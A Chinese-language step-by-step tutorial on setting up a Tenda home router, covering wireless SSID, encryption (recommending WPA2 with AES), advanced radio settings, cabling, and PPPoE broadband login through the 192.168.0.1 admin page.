寬帶連接的設置請參考tenda路由器怎么設置：路由器寬帶連接設置圖文教程

tenda無線路由器設置：設置無線連接

1.無線基本設置。

點擊左側的無線設置無線基本設置(如下圖)

啟用無線功能：“勾選”后，啟用無線功能，如果您不想使用無線，可以取消選擇，所有與無線相關的功能將禁止;

網絡模式：根據無線客戶端類型選擇其中一種模式。(一般如果不知道的話就選擇默認的混合模式)

SSID：服務集合標識符、無線信號的網絡名稱，可修改，SSID為必填項。

廣播(SSID)：選擇“關閉”禁止路由器廣播SSID，無線客戶端將無法掃描到路由器的SSID。選擇“關閉”后，客戶端必須知道路由器的SSID才能與路由器進行通訊，默認為“開啟”。

信道：路由器當前使用的信道，從下拉列表中可以選擇其它有效工作信道，可選項在1-13之間。

2.無線安全設置。

點擊左側無線設置無線安全設置(如下圖)。介紹最常用的三種加密方式，其中包括MixedWEP加密、WPA-個人、WPA2-個人等。

選擇SSID：選擇要設置的SSID，可以分別對主SSID和次SSID進行安全加密設置。

安全模式：可從列表中選擇相應的安全加密模式，本路由器支持MixedWEP加密、WPA-個人、WPA2-個人。一般我們建議選擇WPA2-個人能有效防止被蹭網破解密碼。

WPA加密規則：有TKIP、AES、TKIP&AES。推薦使用AES。

密鑰：請輸入您想使用的加密字符串，有效字符為ASCII碼字符。長度為8到63個。

3.無線高級設置。

點擊點擊左側無線設置無線高級設置(如下圖)。如果不是很懂高級選項的話建議用默認的。

BG保護模式：有利于較慢的11b/g無線客戶端在復雜的多種模式下能順利連接到11n無線網絡，默認為“自動”。

基本數據速率：根據實際需要，調整無線基本傳輸速率。默認值為1-2-5.5-11Mbps。建議不要更改默認值。

Beacon間隔：設置AP發送Beacon包頻率，一般來說，時間設置越小，無線客戶端接入的速度越快，時間設置越大，有助于無線網絡數據傳輸效能提高，默認值為100，建議不要更改默認值。

Fragment閾值：設定一個分片閾值，一旦無線數據包超過這個閾值將其分成多個片段，片段的大小和分片閾值，默認值為2346，建議不要更改默認值。

RTS閾值：RTS(Requesttosend)，當數據包的大小超過這個閾值時，使用CTS/RTS機制，降低發生沖突的可能性。在存在干擾長距離客戶端接入情況下，可以設置相對較小的RTS值，在一般Soho辦公場所建議不要更改默認值，否則會影響AP性能。

TX功率：該項用來設置無線發射功率等級。默認值為100。

WMM-Capable：開啟時可以提高無線多媒體數據傳輸性能(如：視頻或在線播放)，如果您對WMM不熟悉，請設置為開啟。

ASPDCapable：自動省電模式，默認為關閉。

tenda無線路由器設置的全過程就為你介紹完了，每個方面的設置都有圖示作參考，你可以按部就班的試操作一下，相信不會很困難。


Tenda騰達路由器設置（新界面）

為了更好的幫助您完成路由器上網設置，您可以參考以下了解選擇路由器的上網方式：

注意：如還是判斷不出自己寬帶的上網方式，可查看您的寬帶繳費清單或直接咨詢給您提供網絡的運營商。

2、（有光貓）把光貓分出來一根網線接路由器的WAN口 （藍色標識），再找一根短網線，一頭接電腦，一頭接路由器1/2/3任意接口（黃色），接線方式如下圖：

注意:通電后，路由器正常工作狀態是SYS指示燈閃爍，WAN指示燈常亮或閃爍，與電腦相連的1/2/3端口指示燈常亮或閃爍。如接線后對應1/2/3端口的指示燈不亮或電腦的網卡圖標顯示紅色的叉 ，則表明

線路連接有問題，嘗試檢查下網線連接或換根網線試試。

將電腦上的本地連接IP地址設置為“自動獲得IP地址”

1、點擊桌面右下角的網絡圖標，打開“網絡和共享中心”

Win8系統自動獲取ip

2、點擊“更改適配器設置”

3、右鍵點擊“本地連接”選擇“屬性”

4、雙擊“Internet協議版本 4（TCP/IP）”

5、選擇“自動獲得IP地址”，“自動獲得DNS服務器地址”，點擊“確定”-“確定”。

1、打開瀏覽器，在瀏覽器地址欄中輸入：192.168.0.1 按回車鍵登錄設置界面。

192.168.0.1 打不開？請點擊此鏈接

2、在設置頁面中選擇“ADSL撥號”， 在“寬帶用戶名”和“寬帶密碼”中輸入寬帶運營商（例如：電信、聯通等）提供的寬帶用戶名和密碼 ，點擊“確定”即可。

設置完成后，如聯網狀態顯示“已聯網”，就可以瀏覽網頁，上網沖浪了。